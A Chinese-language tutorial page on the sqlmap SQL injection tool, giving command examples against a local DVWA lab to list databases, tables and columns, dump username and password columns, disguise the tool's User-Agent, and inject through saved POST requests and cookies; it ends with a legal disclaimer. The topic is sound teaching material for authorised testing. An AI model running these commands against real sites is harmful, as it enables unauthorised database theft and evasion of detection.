当前位置: 首页 > news >正文

SQL注入——Sqlmap工具使用

一、Sqlmap介绍

Sqlmap 是一个使用python语言开发的开源的渗透测试工具,可以用来进行自动化检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

前置:python环境

下载
官网: https://sqlmap.org/
github地址: https://github.com/sqlmapproject/sqlmap
国内可下载地址: https://gitee.com/yijingsec/sqlmap


二、使用方法

  1. 首先进入到 Sqlmap 目录,把输入框改为cmd,回车。或者右击——>在终端打开。
    在这里插入图片描述

在这里插入图片描述
2. 可以看到在命令提示符里已经进入到了所在目录
在这里插入图片描述

  1. 进入 python 环境,然后执行 python sqlmap.py -h 查看使用帮助
    在这里插入图片描述
    就可以看到详细使用帮助了,看不懂的直接用翻译即可。
    kali系统自带这个工具直接使用即可。

常用技巧:
基本格式python sqlmap.py -u “网址”,以下均为示例
A. 注入GET型

  1. URL里只有一个参数
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"
  1. URL里有两个参数则需要用引号" "把URL包裹起来
    -p 指定测试点
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -p page
  1. –batch 为自动化测试,所有选择自动帮助选择
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" -p page --batch
  1. –dbs获取网站所有的数据库名
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
  1. –tables 获取表名, -D 指定数据库
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -D 数据库名 --tables
  1. –columns获取列名 , -T 指定数据表
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -D 数据库名 -T 数据表 --columns
  1. –dump 获取数据(拖库,实战中禁用慎用), -C 指定列名,执行的记录结果保存在用户文件夹下
    的 AppData\Local\sqlmap\output\ 里
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -D 数据库名 -T 数据表 -C id,username,password --dump
  1. GET型注入ua头会带有明显的Sqlmap标识,可以使用 –random-agent 参数随机使用User-agent头,也
    可以自己指定ua头。
`python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0"`

B. 注入POST型

  1. 将请求包抓取并把请求包保存到文本里、
    在这里插入图片描述

  2. 使用 -r 参数指定文件

python sqlmap.py –r test.txt –p uname

C. 注入head头
SQLmap默认测试所有的GET和POST参数,当 level 的值大于等于2的时候也会测试 Cookie 头的值,
当大于等于3的时候也会测试 User-Agent 和 Referer 头的值,最高可到5。

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "uname=Dumb" --level2 --dbs

宇宙级免责声明

  1. 本文仅用于授权测试与教育目的,禁止用于非法渗透。
  2. 未经许可对他人系统测试可能触犯法律,后果自负。
  3. 技术研究应遵循"不伤害原则",维护网络安全生态。

🔐 合法研究途径
✅ CTF竞赛
✅ 漏洞赏金计划(如HackerOne)
✅ 企业授权渗透测试
✅ 本地靶场(如DVWA、WebGoat)

“Knowledge is power, but ethics is its compass.”
知识即力量,而道德是指南针。

相关文章:

  • UA 编译和建模入门教程(zhanzhi学习笔记)
  • LLM最后怎么输出值 解码语言模型:从权重到概率的奥秘
  • 手机怎么查看网络ip地址?安卓/iOS设备查询指南
  • 【QT】类A和类B共用类C
  • python实现pdf转图片(针对每一页)
  • React Contxt详解
  • 【计算机主板架构】ITX架构
  • 企业标准信息公共服务平台已开放标准通编辑器访问入口
  • 苹果的人工智能领域慢热
  • 计算机视觉设计开发工程师学习路线
  • 展锐Android14及更新版本split_build编译方法
  • 【android bluetooth 协议分析 01】【HCI 层介绍 9】【ReadLocalSupportedCommands命令介绍】
  • C语言实现android/linux按键模拟
  • Linux动静态库制作与原理
  • 汇编:电子计数器
  • Linux问题排查-找到偷偷写文件的进程
  • 服务器的基础知识
  • 软件设计师完整性约束考点分析——求三连
  • AIGC与文本生成:人工智能写作的新纪元
  • Go语言测试用例的执行与分析
  • 首付款12.5亿美元!三生制药与辉瑞就国产双抗达成合作协议
  • 陈龙带你观察上海生物多样性,纪录片《我的城市邻居》明播出
  • 外交部:将持续便利中外人员往来,让“中国游”金字招牌更加闪耀
  • 4年间职务侵占、受贿逾亿元,北京高院:严惩民企内部腐败
  • 贯彻落实《生态环境保护督察工作条例》,充分发挥生态环境保护督察利剑作用
  • C919上海虹桥-深圳航线开通,东航今年计划再接收10架C919